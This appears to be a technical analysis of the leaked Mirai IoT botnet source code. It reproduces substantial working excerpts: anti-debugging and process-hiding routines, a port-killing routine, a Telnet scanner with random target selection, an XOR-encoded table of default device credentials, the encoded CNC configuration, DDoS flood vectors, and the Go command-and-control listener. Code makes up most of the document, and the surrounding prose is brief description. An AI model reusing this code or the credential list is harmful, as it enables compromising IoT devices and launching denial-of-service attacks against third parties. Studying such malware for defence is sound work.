As shown in Figure 1, there are two folders. The loader folder, as its name implies, is a loader that creates servers and monitors the status of connections.
Code Structure
As shown in Figure 1, there are two folders. The loader folder, as its name implies, is a loader that creates servers and monitors the status of connections. The mirai folder implements major malicious functions, including such tool implementations as establishing network connections, executing DDoS attacks, and downloading data, and operations from the main control terminal.
Infection Path
Attackers can use an SSH or Telnet account and default passwords to compromise Internet of Things (IoT) devices.
Function Implementation
The source code reveals that the following malicious functions can be implemented:
- bot folder: performs such operations as anti-debugging, hiding of its own process, configuration of initial port numbers for domain names, configuration of default weak passwords, establishment of network connections, and DDoS execution.
- tools folder: performs tool-based operations such as wget, file updating, and XOR operations.
- cnc folder: monitors the successfully infected bots from the main control terminal, parses instructions as a receiver, and launches DDoS attacks.
When implementing functions, the code in the bot folder opens PF_INET (TCP raw socket for UNIX networks) and binds it to TCP port 48101 at the local host IP address of 127.0.0.1. Then it can listen for incoming connections. When one device on a network is infected, the infection will spread to other devices on the same network via the Telnet service.
bot Folder
In terms of functionality, the code in the bot folder can perform the following operations:
Anti-GDB debugging, CC address parsing, establishment of network connections, and DDoS execution.
static void anti_gdb_entry(int); static void resolve_cnc_addr(void); static void establish_connection(void); static void teardown_connection(void); static void ensure_single_instance(void); static BOOL unlock_tbl_if_nodebug(char *); //Anti-GDB debugging. //Parses CC addresses. //Establishes network connections. //Establishes network connections. //Ensures that only one instance is running each time (deletes the existing process when detecting a new instance running). //Initializes various tables (including the list of connected domain names and port numbers and that of user names and passwords).
If detecting GDB debugging, the program deletes its own execution file, prevents the watchdog from restarting the device, and prompts a CC address connection failure.
// Delete self unlink(args[0]); // Signal based control flow sigemptyset(&sigs); sigaddset(&sigs, SIGINT); sigprocmask(SIG_BLOCK, &sigs, NULL); signal(SIGCHLD, SIG_IGN); signal(SIGTRAP, &anti_gdb_entry); // Prevent watchdog from rebooting device if ((wfd = open("/dev/watchdog", 2)) != -1 || (wfd = open("/dev/misc/watchdog", 2)) != -1) { int one = 1; ioctl(wfd, 0x80045704, &one); close(wfd); wfd = 0; } chdir("/");
To ensure that each time only one instance is running (by connecting to the local port 48101) and kill the process corresponding to port 48101:
addr.sin_family = AF_INET; addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR; addr.sin_port = htons(SINGLE_INSTANCE_PORT); // Try to bind to the control port errno = 0; if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1) { if (errno == EADDRNOTAVAIL && local_bind) local_bind = FALSE; #ifdef DEBUG printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno); #endif
To hide the process:
// Hide argv0 name_buf_len = ((rand_next() % 4) + 3) * 4; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0; util_strcpy(args[0], name_buf); // Hide process name name_buf_len = ((rand_next() % 6) + 3) * 4; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0; prctl(PR_SET_NAME, name_buf); // Print out system exec table_unlock_val(TABLE_EXEC_SUCCESS); tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len); write(STDOUT, tbl_exec_succ, tbl_exec_succ_len); write(STDOUT, "\n", 1); table_lock_val(TABLE_EXEC_SUCCESS);
To initialize attack type parameters and provide various attack types (UDP, VSE, DNS, SYN, and other DDoS attack types) for attackers to choose:
BOOL attack_init(void) { int i; add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); //add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); return TRUE; }
To initialize port settings by shutting down ports to terminate other processes that use Telnet, SSH, and HTTP services and prevent them from restarting:
// Kill telnet service and prevent it from restarting #ifdef KILLER_REBIND_TELNET #ifdef DEBUG printf("[killer] Trying to kill port 23\n"); #endif if (killer_kill_by_port(htons(23))) { #ifdef DEBUG printf("[killer] Killed tcp/23 (telnet)\n"); #endif } else { #ifdef DEBUG printf("[killer] Failed to kill port 23\n"); #endif } tmp_bind_addr.sin_port = htons(23); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1); } #ifdef DEBUG printf("[killer] Bound to tcp/23 (telnet)\n"); #endif #endif // Kill SSH service and prevent it from restarting …… // Kill HTTP service and prevent it from restarting ……
To initialize scanning parameters and scan other devices on the LAN with weak passwords and with port 23 opened:
// Set up IPv4 header iph->ihl = 5; iph->version = 4; iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr)); iph->id = rand_next(); iph->ttl = 64; iph->protocol = IPPROTO_TCP; // Set up TCP header tcph->dest = htons(23); tcph->source = source_port; tcph->doff = 5; tcph->window = rand_next() & 0xffff; tcph->syn = TRUE; // Set up passwords add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); …… static ipv4_t get_random_ip(void) { uint32_t tmp; uint8_t o1, o2, o3, o4; do { tmp = rand_next(); o1 = tmp & 0xff; o2 = (tmp >> 8) & 0xff; o3 = (tmp >> 16) & 0xff; o4 = (tmp >> 24) & 0xff; } while (o1 == 127 || // 127.0.0.0/8 - Loopback (o1 == 0) || // 0.0.0.0/8 - Invalid address space (o1 == 3) || // 3.0.0.0/8 - General Electric Company (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company (o1 == 56) || // 56.0.0.0/8 - US Postal Service (o1 == 10) || // 10.0.0.0/8 - Internal network (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use (o1 >= 224) || // 224.*.*.*+ - Multicast (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense ); return INET_ADDR(o1,o2,o3,o4); }
The cryptographic algorithm for user names and passwords is as follows:
for (i = 0; i < *len; i++) { cpy[i] ^= 0xDE; cpy[i] ^= 0xAD; cpy[i] ^= 0xBE; cpy[i] ^= 0xEF; }
When detecting a new instance running, the program kills its own process and stops scanning and all attack tasks.
Connected Domain Names and Port Numbers
The connected domain names and port numbers are hardcoded into source code. In this case, domain name strings can be decrypted by using the algorithm shown in enc.c in the tools folder.
void table_init(void) { add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23 add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101 add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15); // safe string https://youtu.be/dQw4w9WgXcQ add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29); add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7); add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5); add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11); add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4); add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7); add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8); add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13); add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10); add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10); add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33); add_entry(TABLE_MEM_ZOLLARD, "\x58\x4D\x4E\x4E\x43\x50\x46\x22", 8); add_entry(TABLE_MEM_REMAITEN, "\x65\x67\x76\x6E\x6D\x61\x63\x6E\x6B\x72\x22", 11); add_entry(TABLE_SCAN_SHELL, "\x51\x4A\x47\x4E\x4E\x22", 6); add_entry(TABLE_SCAN_ENABLE, "\x47\x4C\x43\x40\x4E\x47\x22", 7); add_entry(TABLE_SCAN_SYSTEM, "\x51\x5B\x51\x56\x47\x4F\x22", 7); add_entry(TABLE_SCAN_SH, "\x51\x4A\x22", 3); add_entry(TABLE_SCAN_QUERY, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x6F\x6B\x70\x63\x6B\x22", 19); add_entry(TABLE_SCAN_RESP, "\x6F\x6B\x70\x63\x6B\x18\x02\x43\x52\x52\x4E\x47\x56\x02\x4C\x4D\x56\x02\x44\x4D\x57\x4C\x46\x22", 24); add_entry(TABLE_SCAN_NCORRECT, "\x4C\x41\x4D\x50\x50\x47\x41\x56\x22", 9); add_entry(TABLE_SCAN_PS, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x52\x51\x22", 16); add_entry(TABLE_SCAN_KILL_9, "\x0D\x40\x4B\x4C\x0D\x40\x57\x51\x5B\x40\x4D\x5A\x02\x49\x4B\x4E\x4E\x02\x0F\x1B\x02\x22", 22); add_entry(TABLE_ATK_VSE, "\x76\x71\x4D\x57\x50\x41\x47\x02\x67\x4C\x45\x4B\x4C\x47\x02\x73\x57\x47\x50\x5B\x22", 21); add_entry(TABLE_ATK_RESOLVER, "\x0D\x47\x56\x41\x0D\x50\x47\x51\x4D\x4E\x54\x0C\x41\x4D\x4C\x44\x22", 17); add_entry(TABLE_ATK_NSERV, "\x4C\x43\x4F\x47\x51\x47\x50\x54\x47\x50\x02\x22", 12); add_entry(TABLE_ATK_KEEP_ALIVE, "\x61\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x02\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 23); add_entry(TABLE_ATK_ACCEPT, "\x63\x41\x41\x47\x52\x56\x18\x02\x56\x47\x5A\x56\x0D\x4A\x56\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4A\x56\x4F\x4E\x09\x5A\x4F\x4E\x0E\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x4F\x4E\x19\x53\x1F\x12\x0C\x1B\x0E\x4B\x4F\x43\x45\x47\x0D\x55\x47\x40\x52\x0E\x08\x0D\x08\x19\x53\x1F\x12\x0C\x1A\x22", 83); add_entry(TABLE_ATK_ACCEPT_LNG, "\x63\x41\x41\x47\x52\x56\x0F\x6E\x43\x4C\x45\x57\x43\x45\x47\x18\x02\x47\x4C\x0F\x77\x71\x0E\x47\x4C\x19\x53\x1F\x12\x0C\x1A\x22", 32); add_entry(TABLE_ATK_CONTENT_TYPE, "\x61\x4D\x4C\x56\x47\x4C\x56\x0F\x76\x5B\x52\x47\x18\x02\x43\x52\x52\x4E\x4B\x41\x43\x56\x4B\x4D\x4C\x0D\x5A\x0F\x55\x55\x55\x0F\x44\x4D\x50\x4F\x0F\x57\x50\x4E\x47\x4C\x41\x4D\x46\x47\x46\x22", 48); add_entry(TABLE_ATK_SET_COOKIE, "\x51\x47\x56\x61\x4D\x4D\x49\x4B\x47\x0A\x05\x22", 12); add_entry(TABLE_ATK_REFRESH_HDR, "\x50\x47\x44\x50\x47\x51\x4A\x18\x22", 9); add_entry(TABLE_ATK_LOCATION_HDR, "\x4E\x4D\x41\x43\x56\x4B\x4D\x4C\x18\x22", 10); add_entry(TABLE_ATK_SET_COOKIE_HDR, "\x51\x47\x56\x0F\x41\x4D\x4D\x49\x4B\x47\x18\x22", 12); add_entry(TABLE_ATK_CONTENT_LENGTH_HDR, "\x41\x4D\x4C\x56\x47\x4C\x56\x0F\x4E\x47\x4C\x45\x56\x4A\x18\x22", 16); add_entry(TABLE_ATK_TRANSFER_ENCODING_HDR, "\x56\x50\x43\x4C\x51\x44\x47\x50\x0F\x47\x4C\x41\x4D\x46\x4B\x4C\x45\x18\x22", 19); add_entry(TABLE_ATK_CHUNKED, "\x41\x4A\x57\x4C\x49\x47\x46\x22", 8); add_entry(TABLE_ATK_KEEP_ALIVE_HDR, "\x49\x47\x47\x52\x0F\x43\x4E\x4B\x54\x47\x22", 11); add_entry(TABLE_ATK_CONNECTION_HDR, "\x41\x4D\x4C\x4C\x47\x41\x56\x4B\x4D\x4C\x18\x22", 12); add_entry(TABLE_ATK_DOSARREST, "\x51\x47\x50\x54\x47\x50\x18\x02\x46\x4D\x51\x43\x50\x50\x47\x51\x56\x22", 18); add_entry(TABLE_ATK_CLOUDFLARE_NGINX, "\x51\x47\x50\x54\x47\x50\x18\x02\x41\x4E\x4D\x57\x46\x44\x4E\x43\x50\x47\x0F\x4C\x45\x4B\x4C\x5A\x22", 25); add_entry(TABLE_HTTP_ONE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); add_entry(TABLE_HTTP_TWO, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x13\x12\x0C\x12\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 111); add_entry(TABLE_HTTP_THREE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x13\x0C\x12\x0C\x10\x15\x12\x16\x0C\x13\x12\x11\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); add_entry(TABLE_HTTP_FOUR, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x75\x4B\x4C\x46\x4D\x55\x51\x02\x6C\x76\x02\x14\x0C\x13\x19\x02\x75\x6D\x75\x14\x16\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x17\x11\x15\x0C\x11\x14\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x61\x4A\x50\x4D\x4F\x47\x0D\x17\x10\x0C\x12\x0C\x10\x15\x16\x11\x0C\x13\x13\x14\x02\x71\x43\x44\x43\x50\x4B\x0D\x17\x11\x15\x0C\x11\x14\x22", 110); add_entry(TABLE_HTTP_FIVE, "\x6F\x4D\x58\x4B\x4E\x4E\x43\x0D\x17\x0C\x12\x02\x0A\x6F\x43\x41\x4B\x4C\x56\x4D\x51\x4A\x19\x02\x6B\x4C\x56\x47\x4E\x02\x6F\x43\x41\x02\x6D\x71\x02\x7A\x02\x13\x12\x7D\x13\x13\x7D\x14\x0B\x02\x63\x52\x52\x4E\x47\x75\x47\x40\x69\x4B\x56\x0D\x14\x12\x13\x0C\x15\x0C\x15\x02\x0A\x69\x6A\x76\x6F\x6E\x0E\x02\x4E\x4B\x49\x47\x02\x65\x47\x41\x49\x4D\x0B\x02\x74\x47\x50\x51\x4B\x4D\x4C\x0D\x1B\x0C\x13\x0C\x10\x02\x71\x43\x44\x43\x50\x4B\x0D\x14\x12\x13\x0C\x15\x0C\x15\x22", 117); }
The target is devices that use busybox.
if (memmem(buf, got, "BusyBox", 7) != NULL) { state->got_prompt = 1; //maybe we are logged in already? LOL sockprintf(state->fd, "enable\r\n"); state->state = 7; break; }
DDoS Attack Methods
#define ATK_VEC_UDP 0 /* Straight up UDP flood */ #define ATK_VEC_VSE 1 /* Valve Source Engine query flood */ #define ATK_VEC_DNS 2 /* DNS water torture */ #define ATK_VEC_SYN 3 /* SYN flood with options */ #define ATK_VEC_ACK 4 /* ACK flood */ #define ATK_VEC_STOMP 5 /* ACK flood to bypass mitigation devices */ #define ATK_VEC_GREIP 6 /* GRE IP flood */ #define ATK_VEC_GREETH 7 /* GRE Ethernet flood */ //#define ATK_VEC_PROXY 8 /* Proxy knockback connection */ #define ATK_VEC_UDP_PLAIN 9 /* Plain UDP flood optimized for speed */ #define ATK_VEC_HTTP 10 /* HTTP layer 7 flood */
User Name and Password Configuration
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511 add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888 add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456 add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321 add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5);// support support add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none) add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345 add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none) add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234 add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111 add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666 add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234 add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123 add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345 add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234 add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666 add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888 add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234 add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521 add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518 add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx. add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234 add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1);
cnc Folder
The code in this folder listens for ports 23 and 101 and performs different operations accordingly from the main control terminal.
func main() { tel, err := net.Listen("tcp", "0.0.0.0:23") if err != nil { fmt.Println(err) return } api, err := net.Listen("tcp", "0.0.0.0:101") if err != nil { fmt.Println(err) return } go func() { for { conn, err := api.Accept() if err != nil { break } go apiHandler(conn) } }() for { conn, err := tel.Accept() if err != nil { break } go initialHandler(conn) }
When listening for port 23, the program determines what to do next based on the received data. If the received data contains 4 bytes, which are 00 00 00 x (x > 0), the program determines that such data is from a bot and adds the related host as a new bot. Otherwise, the program finds out whether access with an admin account is allowed. After successful login, an attacker can create admin accounts and configure bots and bot hosts by using different commands.
func initialHandler(conn net.Conn) { defer conn.Close() conn.SetDeadline(time.Now().Add(10 * time.Second)) buf := make([]byte, 32) l, err := conn.Read(buf) if err != nil || l <= 0 { return } if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 { if buf[3] > 0 { string_len := make([]byte, 1) l, err := conn.Read(string_len) if err != nil || l <= 0 { return } var source string if string_len[0] > 0 { source_buf := make([]byte, string_len[0]) l, err := conn.Read(source_buf) if err != nil || l <= 0 { return } source = string(source_buf) } NewBot(conn, buf[3], source).Handle() } else { NewBot(conn, buf[3], "").Handle() } } else { NewAdmin(conn).Handle() } }
When port 101 is involved, the program parses the received information to obtain commands for launching a new round of attack. Attacks that can be launched include UDP, DNS, SYN, ACK, STOMP, GRE IP, GRE Ethernet, and HTTP floods and Valve Source Engine (VSE) specific floods.
func apiHandler(conn net.Conn) { defer conn.Close() NewApi(conn).Handle() } func NewApi(conn net.Conn) *Api { return &Api{conn} } func (this *Api) Handle() { var botCount int var apiKeyValid bool var userInfo AccountInfo // Get command this.conn.SetDeadline(time.Now().Add(60 * time.Second)) cmd, err := this.ReadLine() if err != nil { this.conn.Write([]byte("ERR|Failed reading line\r\n")) return } passwordSplit := strings.SplitN(cmd, "|", 2) if apiKeyValid, userInfo = database.CheckApiCode(passwordSplit[0]); !apiKeyValid { this.conn.Write([]byte("ERR|API code invalid\r\n")) return } botCount = userInfo.maxBots cmd = passwordSplit[1] if cmd[0] == '-' { countSplit := strings.SplitN(cmd, " ", 2) count := countSplit[0][1:] botCount, err = strconv.Atoi(count) if err != nil { this.conn.Write([]byte("ERR|Failed parsing botcount\r\n")) return } if userInfo.maxBots != -1 && botCount > userInfo.maxBots { this.conn.Write([]byte("ERR|Specified bot count over limit\r\n")) return } cmd = countSplit[1] } atk, err := NewAttack(cmd, userInfo.admin) if err != nil { this.conn.Write([]byte("ERR|Failed parsing attack command\r\n")) return } ……
